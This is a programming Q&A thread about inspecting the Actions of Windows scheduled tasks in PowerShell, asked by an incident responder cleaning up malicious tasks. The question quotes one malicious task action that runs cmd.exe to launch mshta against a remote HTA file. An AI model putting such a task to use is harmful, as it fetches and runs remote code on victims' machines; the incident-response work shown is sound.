Home > Software engineering >  Drill-down further in Get-Member within PowerShell
Drill-down further in Get-Member within PowerShell

Time:11-12

I'm trying hard to learn PowerShell on my own and I'm asking this question after searching a lot on the Internet.

Get-ScheduledTask  |  Get-Member 

The above command shows me the Properties and Methods. Now I want to further drill down into "Actions" but the maximum I'm able to is,

Get-ScheduledTask  |  Get-Member -Name Actions 
Name    MemberType Definition                                  
----    ---------- ----------                                  
Actions Property   CimInstance#InstanceArray Actions {get;set;}

Ideally, if I want to peek into "Actions" I have to do this,

Get-ScheduledTask -TaskName "WindowsShellUpdate" | Select -ExpandProperty Actions
Id               : 
Arguments        : /c mshta http://xx.xx.xx.xx/win/update.hta
Execute          : C:\Windows\System32\cmd.exe
WorkingDirectory : 
PSComputerName   : 

Side note, I do IR. And I'm building a script to very carefully automate the removal of bad Tasks.

:(

CodePudding user response:

Actions is just a collection of another object extracted from WMI (CimInstance). When you define a Scheduled Task with PowerShell, you can in order:

  • Define a Principal: New-ScheduledTaskPrincipal
  • Define Task settings: New-ScheduledTaskSettingsSet
  • Define some Triggers: New-ScheduledTaskTrigger
  • Define some Actions: New-ScheduledTaskAction

Then create a task with these parameters:

  • New-ScheduledTask

And finally register the task:

  • Register-ScheduledTask

There are some advanced properties that may be accessible, by example on triggers of a task that can only be set once the task is created. (Get-ScheduledTask)[0].Triggers[0].Repetition.Duration and then once defined you update the task with Set-ScheduledTask

All these cmdlets just hide the complexity of WMI class instances.

CodePudding user response:

  • Get-Member performs reflection: its reports information about .NET types (classes) and their members (properties, methods, events, delegates) in the abstract.

    • This means that property values of the given instance of a type in the input are not included.
  • Also, Get-Member is not recursive: it only lists the member definitions of the type itself, not also the members' members.

As such, if the intent was to see the members of the elements of the collection of type CimInstance#InstanceArray contained in the .Actions property, use the command suggested by zett42:

# Get information about the type [of the elements] stored in the .Actions property.
(Get-ScheduledTask).Actions | Get-Member

Note:

  • Since sending a collection (array) through the pipeline enumerates it - i.e. sends its elements, one by one, providing a collection to Get-Member via the pipeline returns information about the distinct types of that collection's elements.

  • To inspect a collection type itself, you must pass it to the InputObject parameter:

    # Get information about the *collection type* stored in the .Actions property.
    Get-Member -InputObject (Get-ScheduledTask).Actions
    

However, there is an - informal[1] - way to get a recursive representation of the structure of any given object instance, which even includes property values, namely via the Format-Custom cmdlet:

# See sample output below
Get-ScheduledTask | Select-Object -First 1 | Format-Custom

Note:

  • The recursion depth is limited to 5 by default, but you can increase or decrease it via the -Depth parameter.

    • As you can see below, the output from a deeply nested object can be lengthy.
  • Collection property values are enumerated up to 4 elements by default, but you can change that via the $FormatEnumerationLimit preference variable - see this answer for details.

Output of the above command (excerpt):

class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_ScheduledTask
{
  Actions = 
    [
      class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction
      {
        Id = 
        Arguments = --scheduledautoupdate $(Arg0)
        Execute = C:\Users\jdoe\AppData\Local\Programs\Opera\launcher.exe
        WorkingDirectory = 
        PSComputerName = 
      }
    ]
    
  Author = MKW10\jdoe
  Date = 
  Description = Keeps Opera up to date.
  Documentation = 
  Principal = 
    class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskPrincipal2
    {
      DisplayName = 
      GroupId = 
      Id = Author
      LogonType = Interactive
      RunLevel = Highest
      UserId = jdoe
      ProcessTokenSidType = Default
      RequiredPrivilege = 
      PSComputerName = 
    }
...

[1] As with all Format-* cmdlets, Format-Custom outputs a rich string representation for the human observer, not for programmatic processing.

  • Related